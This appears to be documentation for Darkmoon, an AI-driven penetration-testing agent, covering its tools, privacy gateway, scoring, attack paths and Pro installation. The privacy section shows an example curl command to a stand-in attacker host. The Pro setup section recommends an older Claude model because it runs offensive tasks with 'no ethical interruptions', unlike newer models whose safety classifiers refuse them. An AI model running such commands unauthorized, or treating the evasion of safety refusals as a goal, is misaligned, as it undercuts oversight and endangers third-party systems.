once bounded, change angle, declare the vector not-exploitable and move on.
Abandoning a dead end is an expected outcome; freezing the campaign is not.
VI.13GPU acceleration
Offline hash cracking is the one workload a GPU changes by orders of
magnitude. Measured on an RTX 5060 Laptop against md5crypt:
Backend
Speed
rockyou (14.3M candidates)
GPU (CUDA)
7 570 kH/s
about 2 seconds
CPU (pthreads)
33.5 kH/s
hours
Network brute-forcers such as hydra gain nothing
from a GPU: their rate is set by the target's response time, not by local
compute. Only offline cracking benefits.
The toolbox detects the hardware at container start, covering NVIDIA
(native and WSL2), AMD (ROCm and /dev/kfd) and Intel or generic
OpenCL, then confirms with hashcat -I before claiming
acceleration, so a GPU hashcat cannot actually use is reported as absent
rather than advertised. hashcat is then pinned to the card and always given
--runtime: a full dictionary run completes on GPU and returns
partial results within budget on CPU, instead of holding the campaign for
hours. Heavy work is right-sized, not refused.
Passthrough lives in a separate overlay, because gpus: all
makes the container refuse to start on a host with no GPU runtime.
install.sh probes for one and enables it automatically:
Terminal
docker compose -f docker-compose.yml -f docker-compose.gpu.yml up -d
Without a GPU everything still works: hashcat runs on CPU and the agent is
told so explicitly.
MCP · 8/22
VII. MCP Workflows
This document explains what MCP workflows are, how
they work, and how to create new ones.
At startup, the MCP automatically scans workflows, exposes their
methods, and makes them accessible to the AI.
Tip:
Tip No manual registration required.
VII.4Workflow Structure
Each workflow inherits from BaseWorkflow, defines one
or more methods, manages its timeouts, and structures its results.
VII.5Example: Vulnerability Scan
The VulnerabilityScanWorkflow: creates a dedicated
workspace, runs Nuclei, parses JSON results, correlates findings by
severity, and returns a structured summary.
Important:
Important This is not just a tool call. It is
complete operational logic.
The agent chooses the appropriate workflow, decides when to execute
it, and interprets the results.
VII.7Advantages of Workflows
reusable
testable
auditable
safer than raw command execution
VII.8Creating a New Workflow
Copy TEMPLATE.py
Implement the logic
Respect the structure
Test locally
Restart the MCP
Tip:
Tip For detailed guide, see WORKFLOW_GUIDE.md
VII.9Best Practices
One workflow = one mission
Avoid mixing too many responsibilities
Always structure outputs
Handle timeouts properly
VII.10Summary
Workflows are the operational backbone of Darkmoon, encapsulate
offensive logic, and secure the execution of tools.
VII.11The MCP tools (13 Community / 17 Pro)
The MCP server is the only way for the model to act. The Community server exposes exactly 13 tools and the Pro server exactly 17 (counted from the @mcp.tool declarations of each server):
dashboard_list_findings: findings of the calling run's own campaign, evidence masked; another run's campaign is refused
Pro
Evidence annotations
record_evidence_annotations: short, value-free annotations; inert unless the experimental evidence-tagging option is on (off by default), never a proof
execute_command only runs tools of the executor allow-list. In Pro, the campaign-data writes are bound to the caller's run key (run binding). Reference: docs/mcp.md.
Community edition · 9/22
Community edition
The open-source engine you install and run yourself: what it contains, what it leaves to Pro, and its licence.
OSS
5 sections
2 min read
Darkmoon Community is the open-source edition of Darkmoon, published at ASCIT31/Dark-Moon. It runs on your machine with Docker: nothing is sent to Darkmoon, and the LLM provider only ever receives placeholders instead of your real values (Privacy).
What Community contains
Part
What you get
Console and agents
The Darkmoon fork of OpenCode with 51 agent files: the pentest orchestrator and 50 specialists (AI Agents)
MCP server
Exactly 13 tools, the only way for the model to act (MCP tools)
Toolbox
The real tools in an isolated container, run through an executor allow-list (Toolbox)
Privacy
Privacy gateway and prompt tokenisation plugin (Privacy)
Terminal Explorer
/explore in the console: workspace, campaigns, findings, plan, attack paths, reports (Terminal Explorer)
The engine shared with Pro; in Community every path is a Possible Attack Path (Attack paths)
Reports
Markdown reports rendered from the report model darkmoon-report/v2 (Reports)
What Community does not contain
No web dashboard, no REST API, no PDF export, no retest, no remediation agent and no licence check. These belong to Darkmoon Pro, a separate commercial product. Community needs no licence key, only access to an LLM provider.
Community and Pro side by side
Community (AGPL-3.0, public)
Pro (commercial)
Interface
Terminal Explorer (TUI)
Web dashboard + Terminal Explorer
Agents
51 files (pentest + 50 specialists)
52 files (adds the defensive remediation agent)
MCP tools
13
17
API
none
REST API /api/v1
Attack paths
Possible only, proven_paths = 0 by construction
Execution ledger on by default; a link can be qualified by the server
Maintenance windows
warn only
enforced for API launches, administrator override recorded
Treatment plan
local declarations file, never verified
dashboard and API, administrator edits, verified by a completed retest
Reports
Markdown
Markdown, report page and PDF, all from the same report model
Remediation
none
remediation agent: fix pull requests for human review, never merged automatically
In the console, type /explore (or press <leader>d): the Terminal Explorer shows the campaign, its findings, the Cyber Score, the treatment plan, the framework assessment and the attack paths. It is read-only and makes no model call.
The Markdown report of each campaign, written to the reports directory (Reports).
Findings carry their evidence; their status (exploited, confirmed, unconfirmed) is asserted by the agent, not machine-verified. Confirm severity and exploitability against the evidence before acting.
Licence
Darkmoon Community is licensed under the GNU AGPL v3 (AGPL-3.0-only) on master since 2026-11-19 (PR #59); no AGPL release has been tagged yet. Every commit up to edfe9cb (27 October 2026), including release v1.6.0, and earlier outside contributions remain under the GNU GPL v3. Details: LICENSING.md and License.
Full reference of the edition: docs/full.md in the repository.
Privacy · 10/22
Privacy
The model never sees your real sensitive values: a privacy gateway around every tool call, and a tokenisation plugin for what you type.
OSS
Pro
5 sections
3 min read
Since v1.2.0, Darkmoon puts a privacy gateway between the LLM and execution. IP addresses, host names, domains, URLs, e-mails, user names, credentials and internal paths are replaced by deterministic placeholders before the model sees them. Real values are injected locally, right before a tool runs, and re-masked out of every result before it goes back to the model.
Model sees: Host IP_PRIVATE_001 has ports 80,443 open
Model emits: naabu -host IP_PRIVATE_001 -p 80,443
Runs locally: naabu -host 10.42.1.5 -p 80,443
Degraded: curl https://attacker.tld/?target=IP_PRIVATE_001
-> runs, and attacker.tld receives the literal string
"IP_PRIVATE_001". The address never leaves.
Degrade, do not deny
Nearly every pentest command carries a placeholder, so a gateway that refused unsafe positions would refuse ordinary work. Blocking was never what protects you: the model only ever receives placeholders, and every byte of tool output is re-tokenised before it goes back. When a placeholder sits where its real value must not go (a URL query, an external host, an outbound request body, /dev/tcp, a pipeline whose far end leaves the target), the command still runs with the placeholder left in place. A privacy decision never costs you a command.
How it works
Vault. A per-session vault keeps the reversible map: deterministic within a session, real values held only as ciphertext (de-duplicated by HMAC), with a time-to-live.
Command gateway. Placeholders are rehydrated context-aware, never by a blind global replace. Each command of a pipeline is analysed separately, bash -c wrappers are understood, and structured tool calls only rehydrate whitelisted fields.
Shell quoting. A rehydrated value is quoted for the exact shell context it lands in, so a target name carrying ; or $(...) cannot become an injection primitive.
Credentials. Plain credentials printed by a tool (a -p flag, a key: value secret, an Authorization header, URI user info, an NT hash pair) are registered as CRED_NNN. A credential is injected locally only into a command whose destination is the protected target, never into a print sink or a workflow parameter.
Prompt tokenisation plugin
The launch prompt is protected too. The console plugin conf/plugins/darkmoon-privacy.ts tokenises each message you type, including TARGET, CREDS and TOKEN, before the model sees it, through a local socket of the same MCP process. The placeholders it returns are the ones the gateway rehydrates during the run.
It fails closed: if the tokenizer is unavailable after its retries, the text is replaced by a marker instead of being sent, unless DARKMOON_PROMPT_TOKENIZE_FALLBACK=open.
DARKMOON_PROMPT_TOKENIZE=0 disables it.
The MCP tool tokenize_prompt exposes the same tokenizer (MCP tools).
Configuration
Variable
Default
Effect
DARKMOON_PRIVACY
1
Master switch for the gateway
DARKMOON_PRIVACY_CATEGORIES
full boundary
Comma-separated categories to tokenise; unset or malformed falls back to the full default
DARKMOON_PRIVACY_POLICY
degrade
degrade never blocks a command; strict refuses one outright; any other value means degrade
DARKMOON_PRIVACY_CRED_INJECT
1
0 stops a registered credential from ever being injected into a command
DARKMOON_PRIVACY_TTL
21600
Vault lifetime in seconds
DARKMOON_PROMPT_TOKENIZE
1
0 disables prompt tokenisation
DARKMOON_PROMPT_TOKENIZE_FALLBACK
closed
open sends the text when the tokenizer is unavailable
What Pro adds Pro
Tool output sent to the model is sanitised fail-closed: if the filter fails, the model gets [privacy filter error: output withheld].
The dashboard, the API and the Terminal Explorer serve evidence masked server-side («redacted:<kind>»).
Guard-sealed vault storage, an audit trail of rehydrations and a no-data-left-the-perimeter statement in the signed report.
Known limit
Warning:
Only values the detectors recognise are replaced. A secret in a shape they do not recognise can still reach the model provider. Use a local model when that matters (Compatible Models & Hardware).
Terminal Explorer · 11/22
Terminal Explorer
Executive and operator views inside the Darkmoon console, in Community and Pro. Read-only, no model call.
OSS
Pro
5 sections
2 min read
Type /explore in the Darkmoon console, or press <leader>d. The explorer is an OpenCode TUI plugin (conf/plugins/darkmoon-explorer/) that ships in both editions. It is read-only, makes no model call, and evidence is masked before it reaches the screen.
Community
Pro
Data source
The local store ~/.local/share/opencode, read by darkmoon_explore.py
The local Pro API (DARKMOON_API_URL, default http://127.0.0.1:8000/api/v1), existing read routes only
Sign-in
none
Your dashboard account; the password is masked and the token kept in memory only
Evidence
Masked by the redaction engine
Arrives already masked by the server
Declarations
Edited by hand in local files (below)
Edited by administrators in the dashboard
Tabs and keys
Key
View
1–7
Tabs: Work (workspace: grade or « Not rated », one coverage sentence, the first three actions, one frameworks line), Proj, Camp, Find, Plan (Prioritized Treatment Plan), Paths (attack paths), Docs (reports)
T
Prioritized Treatment Plan of the campaign in context
X
Framework technical assessment
A
Application profile of the project in context
W
Maintenance windows of the project in context
L
Legend: Evidence-Backed vs Possible Attack Path, evidence status (not severity), treatment statuses, score statuses
FRP
Findings, report, attack paths of the campaign in context
/
Search
?
All keys
q
Back to the console
Captures
Community edition, /explore on a campaign against a local DVGA lab (synthetic demo data, IP addresses tokenised):
Workspace (1): executive block, recent campaigns, activity and the campaign in context.
Prioritized Treatment Plan (5 / T): one action per asset and weakness class.
Framework technical assessment (X): four control states, counts only.
Attack paths (6 / P): in Community every path is a Possible Attack Path.
Legend (L), drawn in an 80 × 24 terminal.
Darkmoon Pro, the same explorer signed in to the local API:
Pro: workspace in the context of a project.
Pro: attack paths of a campaign, Evidence-Backed paths listed apart from Possible ones.
Files are validated on every read; an invalid entry is listed and ignored. « Applied » always reads « not verified »: Community runs no retest, and a declaration never changes the findings, the counts or the Cyber Score.
Limits
A truecolor terminal is recommended; no images are drawn, and branching attack paths are listed path by path.
Pro: the API has no per-project access control, so the explorer shows whatever the signed-in account can read.
One report model, darkmoon-report/v2, rendered as Markdown in Community and as Markdown, report page and PDF in Pro.
OSS
Pro
4 sections
2 min read
Every report is rendered from one model, darkmoon-report/v2, computed by the server from the findings and the coverage signals it recorded. The sections are stable, so two reports can be read side by side.
Sections
Cyber Score: status, rating and grade, what holds the grade (Cyber Score v1)
Method and test coverage: what ran, measured duration, assets mapped, what was not covered
Executive summary: the agent's summary, quoted and labelled « not verified by the server », with the first actions of the plan
Application profile: the facts you declared, each with its provenance
Business context and exposure
Critical risks
Framework technical assessment: counts per control state, never a compliance statement
Resilience and availability
Prioritized Treatment Plan: one action per asset × weakness class
Attack paths: Evidence-Backed and Possible Attack Paths, kept apart (Attack paths)
Detailed findings
Evidence and methodology
Limitations
Head of a report generated by the Pro API on the synthetic demo data set (the DVGA lab, host name replaced by a reserved .invalid name):
Markdown
# Security Assessment Report — dvga.demo.invalid
**Target:** dvga.demo.invalid
**Campaign:** camp_20261119_c80c95bf
**Method:** Test references: NIST SP 800-115, MITRE ATT&CK
**Report model:** darkmoon-report/v2 (pro)
1. Cyber Score
2. Method and test coverage
3. Executive summary
4. Application profile
5. Business context and exposure
6. Critical risks
7. Framework technical assessment
8. Resilience and availability
9. Prioritized Treatment Plan
10. Attack paths
11. Detailed findings
12. Evidence and methodology
13. Limitations
Formats by edition
Community
Pro
Markdown file
yes
yes
Report page in the dashboard
no
yes
PDF (A4)
no
yes, from the same model as the Markdown
Annex
none
infrastructure, Fix first and remediation priorities
Campaigns recorded before the model existed keep their previous report.
What is computed, what is asserted
The score, coverage, plan, framework counts and attack paths are computed by the server without any model call; no agent can write them.
The only model-written prose is the agent's executive summary, quoted and labelled « not verified by the server ».
Finding statuses are exploited, confirmed or unconfirmed. Any other word from an agent is stored as unconfirmed, with the agent's word kept apart. A status is asserted by the agent, not machine-verified; in Pro a person or a retest can change it.
Evidence is masked by the redaction engine; if the engine cannot load, evidence is withheld (fail closed).
Where reports are written
Reports are generated server-side from the findings store and written to the reports directory. When DARKMOON_REPORTS_DIR is set, that path wins; the Pro stack sets it so reports land on a persistent volume. Community does not need it: its data directory already is the volume-mounted path.
Since the executive-security release of 2026-11-20, every campaign gets a small set of executive documents. They are computed by the same shared core in Community and Pro, from the findings and the coverage signals the server recorded. No model call is involved and no agent can write them.
Darkmoon Pro, campaign overview: Cyber Score, coverage, what holds the grade, first actions and frameworks line (synthetic demo data).
Cyber Score v1
An exposure rating of what one campaign found in its tested scope, from 0 to 100 (higher means less exposure found), with a grade from A to E. It is not a measure of the overall security level, not a compliance statement and not a probability of breach.
Status before any number
Status
When
Number
Not rated
the campaign did not complete; a retest; coverage signals absent, incomplete or modified after finalisation; a severity filter applied at launch
none
Limited test
completed, but under a coverage floor, or launched with attack exclusions, the stealth noise level or a focus list
capped at 69
Rated
otherwise
0 to 100
Coverage floors
Recorded by the server, never declared by the agents. A rated campaign must reach every floor: 30 minutes of measured activity, 2 specialised agents observed, 1 asset registered and 10 toolbox commands executed.
Formula
The penalty unit is one asset and one weakness class (the same unit as an action of the treatment plan).
Unit penalty = the highest severity weight × proof factor among its open findings (critical 30, high 15, medium 5, low 2, info 0; exploited 1.0, confirmed 0.8, unconfirmed 0.5), plus 10 % per additional distinct weakness, at most 30 %.
Class penalty = the largest unit of the class plus 25 % of each further unit, at most 50 %.
Rating = 100 minus the sum of the class penalties, bounded to 0..100.
Caps by worst evidence: 39 while an exploited critical finding is open, 49 for a confirmed critical, 59 for an exploited high; then the limited-test cap (69).
Grade: A from 90, B from 75, C from 60, D from 40, E below 40.
Unconfirmed findings never set a cap. Recording a treatment never changes the rating: only a new campaign, or a completed retest for a treatment status, shows its effect. The rating explains what holds it (the binding cap, the weakness classes that weigh most), so two campaigns both rated 0 can be told apart.
Important: Not scientifically validated
The Cyber Score is not scientifically validated: weights, caps and coverage floors are expert-set product rules, not calibrated against breach outcomes, and run-to-run variance on the same target has not been measured. A score of 100 means « no weakness was found in the tested scope », never a proof of absence.
One action per asset × weakness class, with an indicative effort band, an owner, a retest gate and a treatment status.
Community
Pro
Where statuses are set
local declarations file, by hand
dashboard and API, by administrators, with an append-only audit
« Applied »
always « Applied — not verified » (no retest in Community)
a declaration until a completed retest that met its coverage gate verifies it
« Not reproduced at retest » is not a proof of resolution; a new full campaign confirms it.
Darkmoon Pro, Prioritized Treatment Plan (synthetic demo data).
Darkmoon Pro, one action of the plan opened in its drawer.
Framework technical assessment
Technical findings relevant to ISO/IEC 27001 Annex A controls, GDPR art. 32 (technical side only), NIS2 art. 21(2) and the EU AI Act art. 15. Each control is in exactly one of four states:
Weakness observed
No weakness observed in the tested scope
Not tested by this campaign
Not assessable by a technical test
Warning:
Counts only. The assessment shows how many controls are in each state; it never gives a percentage and never states compliance. It is not an audit, a certification or a legal opinion: organisational measures are not assessed, national transpositions of NIS2 are not covered, and the catalogue texts are paraphrases, not the legal texts.
Pro adds views for MITRE ATT&CK, EBIOS RM, MITRE ATLAS and IEC 62443. Pro
Darkmoon Pro, framework technical assessment, light theme (top of the page, synthetic demo data).
Application profile
Facts you declare about the application (criticality, exposure, data, declared RTO/RPO), each with its provenance. Unknown fields read « Unknown / Not provided ». Community: a local file (Terminal Explorer); Pro: the project page.
Maintenance windows
A project's maintenance policy says when active testing may start on it. Both editions use the same model and evaluation; they differ in what happens outside the policy.
Community
Pro
Launch outside the policy
warns only: a warning on the MCP server log, a security event, and the evaluation recorded on the campaign; the campaign goes on
enforced: a new campaign or a retest launched through the API is refused unless an administrator gives an override reason
Override
not applicable
audited, and visible in the campaign and in the report
Scheduled runs
not applicable
a run due outside the policy is skipped
Campaign opened outside the API
n/a
recorded with a warning, not blocked
Running campaign at a window end
never stopped
never stopped
Community policy file, written by hand in ~/.local/share/opencode/policies/<project_id>.json (Pro: the project page):
windows are local wall-clock times in timezone; an end before start runs past midnight; blackout dates block windows too. A file that cannot be read is never ignored silently: every launch gets the warning until it is fixed. A pipeline can check the policy before its own scan step (inside the Darkmoon container, from mcp/):
Terminal
python3 -m api.maintenance_local check <project_id> --kind full --duration 120
# exit code 0: inside the policy · 1: warning · 3: outside it
Stable event names on the darkmoon.audit logger (MCP server stderr), optional JSON lines with DARKMOON_LOG_FORMAT=json, secrets redacted. Reference: docs/security-events.md.
Limitations
The Cyber Score rates the tested scope only and is not scientifically validated; severity and proof level are reported by the testing agent.
Framework assessments are technical observations, not compliance statements.
Community declaration files and coverage signals are local and not tamper-evident; the digest taken at the first close detects naive edits only.
Maintenance windows never stop a running campaign.
Attack paths · 14/22
Attack paths
Architecture D: declared, evidence-backed and possible links between findings, and a server that abstains rather than guesses.
OSS
Pro
5 sections
3 min read
Darkmoon links findings into attack paths with an engine shared by Community and Pro (schema darkmoon-attack-paths/v1). The engine makes no model call. The current design is called architecture D.
Three words, kept apart
Word
Meaning
Ranked?
Declared
An agent stated that a finding used the result of an earlier one (a token, a credential, an access). A lead, not proof.
no
Evidence-Backed Attack Path
Every step is supported by a server rule or a server qualification on the server's own records.
yes
Possible Attack Path
Anything else: declared by the agent and not verified, or inferred by the server from the topology and the confirmed findings. A hypothesis.
never
The same vocabulary is used in the dashboard, the report and the Terminal Explorer: Evidence-Backed is drawn solid with a shield, Possible dashed.
Architecture D
Declare. When an agent pushes a finding with dashboard_push_finding, it may list in the optional field enabled_by the earlier findings of the campaign whose result it used.
Validate. The server resolves each reference: rejected_declaration (unknown, other campaign, self, ambiguous, forward in time) is never a path edge; invalidated means a finding of the link was withdrawn; otherwise declared_by_agent, shown at once as part of a Possible Attack Path.
Qualify or abstain. A declared link is promoted only by an exact value attribution on the server's own execution records: a value produced by one recorded execution and consumed by a later successful one, uniquely and in order (observed_flow); with a recorded negative control, causal_necessity_demonstrated. Otherwise the server abstains, with a closed reason, and the link stays Possible.
Label by the weakest link. A path is Evidence-Backed only if every step is supported. Everything else is a Possible Attack Path and is never ranked.
flowchart TB
F["Finding pushed<br/>enabled_by: earlier findings"] --> V{"Server validates<br/>each reference"}
V -->|"unknown, other campaign,<br/>self, ambiguous, forward"| R["rejected_declaration<br/>never a path edge"]
V -->|"a finding was withdrawn"| I["invalidated"]
V --> D["declared_by_agent<br/>shown at once as Possible"]
D --> Q{"Exact value attribution<br/>on the execution ledger?<br/>(Pro only)"}
Q -->|"yes"| OF["observed_flow<br/>or causal_necessity_demonstrated"]
Q -->|"no"| AB["abstain<br/>link stays Possible"]
OF --> W["Path label = weakest link"]
AB --> W
W --> EB["Evidence-Backed Attack Path"]
W --> PO["Possible Attack Path<br/>hypothesis, never ranked"]
A campaign whose findings carry no enabled_by loads, pushes and finalises as before.
In Community: Possible only OSS
Community has no execution ledger and the agent-written evidence text is withheld from the engine, so no link can be qualified: proven_paths = 0 by construction. Every path you see is a Possible Attack Path, of one of two kinds: built from the agents' declarations (« declared by the agent, not verified »), or inferred by the server from the infrastructure topology and the confirmed findings (« inferred by the server, a hypothesis »).
The Terminal Explorer shows them under 6 (or P on a campaign) and the report in its attack-path section, with a part on declared links when at least one finding carries enabled_by.
Community, Terminal Explorer: Possible Attack Paths only.
In Pro: a server that can qualify Pro
The MCP server keeps a per-run execution ledger (salted HMAC fingerprints only, on by default). It is what lets the server attempt an exact value attribution.
Two server rules also create links: an artefact produced by one finding reused as a credential by another, and an exploited finding whose response proves access to another node. They read the evidence pushed with the findings (agent-transcribed), not an independent capture.
Fix first ranks fixes by the evidence-backed paths they break (a simulation, not applied). Without ranked paths it falls back to « by reported severity × proof » and says so.
Operator-declared paths (administrators only, audited) are kept outside the engine, labelled « Declared by operator · not proven » and never counted.
Darkmoon Pro, attack paths: « Inferred attack path · not proven », « a reading of the inventory, not a demonstrated attack » (anonymised real OWASP Juice Shop campaign).
Darkmoon Pro, the legend of the attack-path view.
Honest limits
Warning: What has not been demonstrated
On every real campaign measured so far, the server qualified 0 declared links, in Pro as well. Most paths shown are Possible Attack Paths.
Measured against an independent oracle on three real campaigns, the quality of agent declarations was modest and unstable (about 0.3 to 0.6).
The MCP call carries no OpenCode session identity: the server knows the run, not which sub-agent made a call.
The two server rules read agent-transcribed evidence, not an independent capture. Other experimental attack-path options are off by default.
The full record, including the history of approaches, the evidence model, the experiments and the negative results, is public: darkmoon-attack-paths-research.
Pro Edition · 15/22
VIII. Darkmoon Pro Edition
Darkmoon Pro is the commercial edition of Darkmoon. It extends the
open-source Community version with:
Pro
13 sections
27 min read
A web UI dashboard accessible at
http://localhost:80
A licence-based activation system
An anti-tamper runtime guard
An encrypted, signed PDF report generator
A CI/CD integration pipeline
An SSO-compatible authentication layer (Authelia
/ OIDC)
A scheduled campaign system
A multi-campaign project view with vulnerability
graphs
Darkmoon Pro runs the same engine as Darkmoon Community (agents, MCP gatekeeper, toolbox, executive core and attack-path engine) and adds a shell to serve, protect and ship it. Everything below is deployed in production.
Feature
Pro behaviour
Web dashboard
Projects, campaigns, findings, infrastructure map, report and PDF; live runs stream over Server-Sent Events
Executive security
Cyber Score v1, Prioritized Treatment Plan edited by administrators and verified by a completed retest, framework technical assessment, application profile and maintenance policy editors (Executive security)
Maintenance windows
Enforced for API launches; an administrator override is audited and shown in the campaign and the report
Attack paths
Execution ledger, server qualification of declared links, Fix first, operator-declared paths kept apart (Attack paths in Pro)
Reports
Markdown, report page and PDF from the same model darkmoon-report/v2 (Reports)
Retest
Re-runs the findings of a campaign; only a completed retest can verify a treatment action
Remediation
The remediation agent opens fix pull requests for human review, never merged automatically (Remediation)
The same /explore as Community, signed in to the local API (Terminal Explorer)
Campaign views
The campaign page has a header card with fixed tabs: Map, Attack paths, Findings, Overview, Replay, Frameworks, Reports. Its executive block shows the Cyber Score or « Not rated », one coverage sentence, the first actions and one frameworks line. The verdict sentence is computed from evidence-backed paths only. Captures on demo data: the map and attack paths come from an anonymised real OWASP Juice Shop campaign, the overview from synthetic demo data (a renamed copy of a lab campaign against DVGA, IP addresses tokenised); the same interface runs at demo.dark-moon.org.
Campaign overview: header card, Cyber Score, first actions.
Map: the campaign's 43 assets in nested zones, wired with labelled edges, with the finding count on each asset.
A ready-to-run installation command to copy &
paste
One key can be activated on
one or several machines, depending on the quantity
selected at purchase.
Customer portal showing the licence key and installation command
block.
How the licence works
The licence key is validated at container startup. Three error
states can occur:
Container restarting (key validation in progress / failed)
Terminal
./darkmoon.sh
Error response from daemon: Container ce8bdf7ee8c36e895f768366663802f49223a2cf221487c1c2c9e67e114f13d9 is restarting, wait until the container is running
This means the container is trying to start but encounters an issue.
Usually it indicates an invalid or expired licence key. Check the
logs:
Terminal
docker logs opencode
Invalid or expired licence key
If the logs contain any of the following patterns:
The wrapper darkmoon.sh automatically detects this and
displays:
❌ Darkmoon — Invalid license
Your license key is incorrect or has expired.
Re-run: sudo ./install.sh YOUR-KEY
Container not running
❌ Darkmoon — Container is not running (state: exited)
Check logs: docker logs opencode
Important:
Important The licence check happens regardless of
the container status. Even if the container is stopped or
restarting, darkmoon.sh inspects the logs to give you a
precise error message.
Licence validation flow
State
Meaning
Action
Running ✅
Key valid, container healthy
Use ./darkmoon.sh normally
Restarting 🔄
Boot sequence or key check failing
docker logs opencode to inspect
Invalid key ❌
Wrong key or expired
sudo ./install.sh YOUR-KEY
Exited ❌
Container crashed
docker logs opencode to inspect
VIII.2Installation (Pro)
Download the Pro files
Fetch the installer and the stack files from the client portal
(portal.dark-moon.org):
Always start from clean files. Every file fetched with
curl must be deleted before it is downloaded again. Re-running the
curl command over existing files can leave a stale installer or an
outdated docker-compose.yml in place, so a reinstall would silently
run the previous version instead of the current one. Always remove the previously
downloaded files first, then re-download.
Apple Silicon (arm64)
Darkmoon Pro supports linux/amd64 hosts only: on an arm64
machine (Apple Silicon, ARM Linux) the portal install.sh stops with
“macOS / ARM architecture is not supported”. Install Pro on an x86_64 Linux host
or VM with the portal flow above, or contact support if you need another option.
Darkmoon Community (public, github.com/ASCIT31/Dark-Moon)
does install on arm64: its installer detects the architecture and builds the images locally.
Terminal
git clone https://github.com/ASCIT31/Dark-Moon.git
cd Dark-Moon
./install.sh
Information:
On arm64 the Community installer uses
docker-compose-dev.yml and builds every image on your machine, so the first
install takes longer than on amd64. Native arm64 images for Pro are on the roadmap.
Reinstall / update (clean re-download)
To reinstall, or to pull the latest version, delete every file previously
downloaded with curl, then download them again from the portal:
Best results: Darkmoon is designed and tuned to run
in ideal conditions with Claude Opus 4.6 / 4.7. The
autonomous pentest agent chains thousands of tool calls over very
long sessions — this requires a frontier-grade reasoning &
tool-calling model. Opus 4.7 is the reference target.
Important:
Anthropic cyber-safety restrictions — Claude Opus 4.6 is the most stable choice.
Recent Anthropic models ship security classifiers that can interrupt, refuse, or silently
downgrade offensive-security tasks (reconnaissance, PoC, exploitation) even on authorized
engagements with the scope/authorization in context. Fable 5 / Mythos 5 silently
fall back to a weaker model on cyber-flagged requests, and in our own testing Opus 4.8 hit these
limits mid-assessment, whereas Claude Opus 4.6 ran the full assessment end-to-end
— broad vulnerability coverage, no ethical interruptions, no fallback.
For Darkmoon, Claude Opus 4.6 is the recommended, most stable model.
Darkmoon is for authorized security testing only.
Optional but recommended (not required — Darkmoon works without it): if you can, apply to
Anthropic's Cyber Verification Program (CVP). Once approved, dual-use cyber activities (e.g.
vulnerability exploitation, offensive-security tooling) are no longer blocked by default for your
approved organization, further reducing false-positive interruptions on legitimate work. Approval
is per-organization (each org applies separately), and prohibited-use activities
(e.g. mass data exfiltration, ransomware development) remain blocked regardless of CVP status.
Local model (Ollama / llama.cpp)
Warning:
Heavyweight models only. Local mode is fully
supported, but only with large reasoning / agentic models (32B parameters and up, e.g. GLM-4.6, Qwen2.5-Coder-32B, Llama-3.3-70B). Small models (7B
/ 13B) cannot sustain the autonomous agent loop and
will leave campaigns stuck in Unknown — see
Compatible Models & Hardware.
Use this when you host a model behind an endpoint that speaks the
Anthropic Messages API (/v1/messages) at a custom URL
— e.g. an internal Claude gateway or proxy. This is distinct from
--local, which targets OpenAI-compatible endpoints
(/v1/chat/completions). The --anthropic-model must be a
recognized Claude model id (e.g. claude-opus-4-6): opencode routes it
through its native Anthropic provider and your endpoint maps it to the served model.
--anthropic-key is optional — omit it for keyless endpoints.
Force LLM provider reconfiguration even if already
configured
--provider <name>
Cloud provider name (e.g. anthropic, openai, openrouter)
--model <name>
Model name (e.g. claude-opus-4-6, gpt-4o)
--api-key <key>
Provider API key
--local
Enable local model mode
--local-engine <engine>
ollama / llama.cpp /
custom
--local-url <url>
Base URL (e.g. http://localhost:8001/v1)
--local-model <name>
Model name
--local-api-key <key>
API key for authenticated OpenAI-compatible endpoints (optional)
--anthropic-url <url>
On-prem Anthropic-compatible base URL (e.g. https://llm.corp.tld/my-model/v1)
--anthropic-model <name>
Recognized Claude model id, mapped by the endpoint (e.g. claude-opus-4-6)
--anthropic-key <key>
API key (optional — omit for keyless endpoints)
Information:
Re-running install.sh If you already have a
configured .opencode.env, running
./install.sh YOUR-KEY will reuse it without prompting.
Use --init to force reconfiguration.
You do not need to know Docker to keep Darkmoon healthy. The
darkmoon command has a built-in doctor that checks
everything, explains any problem in plain language, and can fix the
safe ones for you.
Check your installation
Terminal
darkmoon doctor
Runs a full health check: Docker & Compose, both containers, image
versions (and whether a newer one is available on Docker Hub), your
license, the LLM provider and whether its endpoint is reachable from
inside the container, the Privacy Gateway, the UI port, free disk and
RAM, and GPU/NVIDIA. Every line is either ✔ ok,
⚠ a warning (with what to do), or ✗ a
problem. It works even when the stack is broken.
Fix the safe problems automatically
Terminal
darkmoon doctor --fix
Runs the same check, then applies only safe, deterministic
fixes (for example: refresh a stale image and recreate a container stuck
in a restart loop). It never touches your data and never guesses.
Everyday operations
Command
What it does
darkmoon restart
Clean restart of the stack.
darkmoon update
Backs up your config & license, pulls the latest images, recreates the stack and health-checks it — and rolls back if the update fails.
darkmoon repair
Recreates crashed or unhealthy containers. Your data (sessions, reports, license) is preserved.
darkmoon repair --full
Backs up everything, does a clean reinstall, then restores and validates. Asks for confirmation first.
Information:
Your data is safe.update and every
repair back up your configuration and license before doing
anything, and never delete the sealed data volume without a verified
backup and an explicit confirmation. Add --yes to run
doctor --fix or repair non-interactively (for
scripts).
Important:
Most common issues the doctor catches for you: no LLM
API key set (the agent otherwise falls back to a default model and fails
with “Missing Authentication header”); an endpoint set to
localhost, which points to the container itself and hangs
silently — use your host LAN IP or host.docker.internal; a
stale image causing a restart loop; a license error; a UI port already in
use; and GPU images requested on a machine without an NVIDIA runtime.
VIII.3Adding / Updating LLM Providers
In the Community edition, provider configuration
was done via darkmoon-settings/ files.
In the Pro edition, everything goes through
darkmoon.sh — no more manual file editing.
Add or update a provider
Terminal
./darkmoon.sh --connect
This command prompts you for:
The provider name (e.g. anthropic,
openai, groq, openrouter,
mistral)
The API key for that provider
The provider is then:
saved persistently in
.opencode.env (survives restarts),
applied live to the running container (no restart
needed).
Adding a provider with ./darkmoon.sh --connect — the
key is saved and applied live.
Change the default model
Terminal
./darkmoon.sh --set-default
This shows your configured providers and lets you pick the active
model. The change is applied live and persists after restart.
Prompt caching — route through the native provider
Prompt caching is a provider-side feature: on the long
autonomous runs Darkmoon performs, re-using a byte-identical prompt prefix
is billed at the provider’s cheaper cache-read rate instead of full
input price. It only works when the provider is declared with its
native SDK, because each provider ships caching in its own
wire format:
Anthropic (Claude) — caching is honored only on
the native anthropic provider (native Messages API).
Configure it with ANTHROPIC_BASE_URL +
ANTHROPIC_MODEL (any Claude model, e.g.
claude-sonnet-5, claude-opus-5-5). Caching is
tied to the provider, not the model — every Claude model
on the native provider caches.
OpenAI — caching is automatic server-side; nothing
to configure.
A custom / OpenAI-compatible provider (a bespoke base
URL) caches only if that endpoint itself implements it. In particular,
pointing an OpenAI-compatible provider at Anthropic’s
